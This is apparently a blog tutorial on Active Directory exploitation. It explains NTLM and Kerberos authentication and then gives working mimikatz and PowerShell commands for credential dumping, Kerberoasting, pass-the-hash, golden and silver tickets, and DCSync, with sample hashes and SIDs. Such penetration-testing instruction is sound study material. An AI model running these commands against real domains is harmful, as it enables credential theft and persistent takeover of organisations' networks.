Active Directory | Attack — Phase | AD-fu

Yet another very interesting topic to include when we talk about sharing files and services all around the network, is Active Directory. I am going to share some insights on Active Directory Exploitation. Well !!!Are you ready for some AD-fu ?? Let’s begin.

First we will discuss some prerequisites before jumping on to attacks.


Active Directory (AD) is Microsoft’s proprietary directory service. It runs on Windows Server and allows administrators to manage permissions and access to network resources. Active Directory stores data as objects. An object is a single element, such as a user, group, application or device, such as a printer.[1]

There is a separate DNS server allocated to Domain Controller when AD is instantiated on Windows Client, Workstation or Servers.

FSMO : Flexible Single-Master Operations : Five roles of Active Directory

  • Schema Master — one per forest : update the directory schema. Once the update is completed, the changes are replicated to all other DC in the forest.
  • Domain Naming Master — one per forest : that is responsible for changes in the forest-wide domain name space. This means that this DC is the only one which can add or remove a domain, trusts to external directories and application partitions to/from the forest.
  • Relative ID (RID) Master — one per domain : answers RID pool requests from all DC within a domain
  • Primary Domain Controller (PDC) Emulator — one per domain : Keeps the latest information on user login , account lockouts, passwords changes, time sessions or authentication failures.
  • Infrastructure Master — one per domain : updating objects SID and Distinguished Names in a cross-domain object reference
  • Forest DNS Zone Master : adding or deleting of the forest-wide records on the DNS servers that host the top-level DNS zone
  • Domain DNS Zone Master : adding or deleting of any AD-integrated DNS zones on the DCs with DNS servers that host the domain. [2]

LDAP : Lightweight Directory Access Protocol

A protocol designed to communicate with Active Directory by allowing easier search methodology on AD. Basically we can say LDAP is an ADSI (“Active Directory Services Interfaces” ) provider.

Active Directory Authentication Mechanisms

There are two common AD authentication mechanisms in place.

  1. NTLM Authentication
  2. Kerberos Authentication

Let’s summarize it one by one.

NTLM Authentication

With the help of below diagram we will understand process of NTML Authentication.

Client : Any windows Client(Desktop), or workstation client etc. who wants to connect to AD

Server: Application Server

Active Directory : Domain Controller is installed here which may act as KDC as well as Authentication Server (in case of Kerberos).

Step 1: Client creates a Hash out of his password. Sends request to Server .

Step2: Server sends back the nonce as challenge

Step 3 : Clients sends back Encrypted nonce : encrypted with user password hash.

Step 4: Server sends nonce, username and response (encrypted nonce) to Domain Controller aka AD

Step 5: Domain Controller has user password already present with it, so it encrypts nonce with user password hash, and matches it with response(encrypted nonce). If a match is found Authentication is successful.

Step 6: Server responds to client with Auth successful.

Kerberos Authentication

With the diagram below we will summarize Kerberos Authentication process.

Step 1: AS_REQ : Request placed by client containing timestamp encrypted by user password hash

Step 2: Domain Controller decrypts timestamp with user password hash (already stored with DC). If it is the right user , it sends back Session Key (encrypted by password hash of user) + TGT (ticket granting ticket), encrypted by a Secret Key known to KDC(Domain Controller). This TGT contains info about user, domain groups it has access to and timestamp, IP address, session key.

Step 3: Client sends TGS_REQ (ticket granting service request) : which contains timestamp (encrypted by session key), current user + SPN (Service Principal Name) we want to connect to , Encrypted TGT (sent by KDC in above step)

Step 4: Domain Controller looks at this and decrypts TGT to ensure it is valid one, checks user using timestamp decryption. And sends back TGS_REP (Ticket granting service reply) containing SPN to resource which is granted + Session Key to be shared between client and Application Server hosting requested service + Service Ticket

Step 5: Client goes to Application Server , shows the Service Ticket. Along with Ticket it sends encrypted username and timestamp with session key , that was sent in TGS_REP. This process is called AP_REQ

Step 6 : Application server authenticated it by decrypting Service Ticket with Service Password Hash, known only to Application Server. By this it extracts the session key. Then uses this key to decrypt , the encrypted username and timestamp sent by user. If user matches, service access is given to him. This process is called AP_REP.

Attacking Active Directory

As per the knowledge we have gained above. The main goal in attacking Active Directory is attacking such that we can leverage the authentication mechanism logic.

4 Phases of AD attack

  1. Active Directory Enumeration
  2. Active Directory Authentication
  3. Active Directory Lateral Movement
  4. Active Directory Persistence

Active Directory Enumeration

  1. Traditional Approach : Powershell commands like ,
net user : to enumerate all users on system, net user /domain : to see all users present in domain, thennet user <user-name> /domain :  to enumerate users username wise on domain.

2. Modern Approach : Powershell Commands Like

Get-ADUsers : to list all the AD Users in the domainsor exploiting GetCurrentDomain() of Domain Class of System.DirectoryServices.ActiveDirectory , to generate an LDAP Provider Path for LDAPsearch. And then using SearchRoot (node in Active Directory object) instantiated by Class DirectoryEntry{} in a powershell script to filter out search objects.

3. Getting Logged in Users:

NetWkstUserEnum: to enumerate all users logged in into workstation
NetSessionEnum : Session info of looged in users
Same can be done using PowerView.ps1 script's functions
Get-NetLoggedOn -ComputerName <computername>
Get-NetSession -ComputerName <Domain Name>

4.Enumerating SPNs

This can be done by using the powershell script created in method two and applying filter to search results as SPN name

5. Resolving out the nested groups, if any.

Active Directory Authentication

  1. NTLM Auth : Attack on user’s NTLM Hash
  2. Kerberos Auth : Attack on TGT + Service Ticket
  3. Cached Credentials : Using mimikatz to get creds
mimikatz# privilege::debug  // to gain SeDebugPrivmimkatz# sekurlsa::logonpasswords // to dump stored cached passwordsmimikatz# sekurlsa::tickets // to get tickets stored 

4. Attacking Service Accounts

PS > AddType -AssemblyName System.IdentityModelPS > New-Object System.IdentityModels.Tokens.KerberosRequesterSecurityToken -ArgumentList <SPN you want to connect>PS > klist

Active Directory Lateral Movement

Once that we have credentials we need to escalate it some how to admin on domains, so that we get huge and wide access to domain.

  1. Pass-The-Hash (PTH)
root@kali:~# pth-winexe -U offs3g33k%aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11 // cmd.exe

2. Over-Pass-The-Hash

mimikatz# sekurlsa::logonpasswords
mimikatz# pth /user:offs3cg33k / /ntlm:e64fe0f24ba2489c05e64354d74ebd11 /run cmd.exe
PS > net use offs3c //where offs3c = name of domain controller
PS > klist

3. Pass-The-Ticket (PTT)

Creating silver tickets when you can fool Domain Controller who does not check whether user is allowed to ask ticket for the specified SPN. But if SPN is valid you get ticket

mimikatz# kerberos::golden /user:offs3cg33k / /sid:S-1-5-21-3523857051-9566964455-2614950255 /rc4:e64fe0f24ba2489c05e64354d74ebd11 /id:500 /pttmimikatz# misc::cmdPS > whoami /all

4. DCOM -Distributed Component Object Model : exploit

Exploiting the macros using a powershell script,in Microsoft Office services, to get even the reverse shell from system, especially if your have powershell remoting ON, on AD. For this we can exploit CreateInstance () function of System.Activator Class. I haven’t explained here as it would get into a tedious code . But you can learn more about leveraging Powershell Remoting feature : Using the WS-Management protocol, Windows PowerShell remoting lets you run any Windows PowerShell command on one or more remote computers. You can establish persistent connections, start interactive sessions, and run scripts on remote computers. [3],

Active Directory Persistence

  1. Golden Ticket

If we dump the hashes for krbtgt , we can maintain persistence on AD, because krbtgt is never changes, Though there is an option to change it since windows 2008 server , due to AES encryption on Kerberos. But if is not changes which generally is not, we can get forever persistence as it never ever expires.

kerberos::golden /user:offs3cg33k / /sid:S-1-5-21-3523857051-9566964455-2614950255/krbtgt:e8eh17c07fb14d18c42bcbf6c3a9055f /id:500

2. Domain Controller Synchronization

When redundant domain controllers on AD receive request to get update as per the Directory Replication Service Remote Protocol, it doesn’t check whether request is from legitimate Domain Controller , but just checks if SID has privilege to perform this operation. So we will initiate a replication request under the name of administrator, for this we use mimikatz.

mimikatz#lsadump::dcsync /Administrator

That’s all for today. Tell me how you found this article in comment and feedback. Please Like if you gained something from it.

You can follow me on twitter :, for updates on similar blogs. Happy Hacking !!!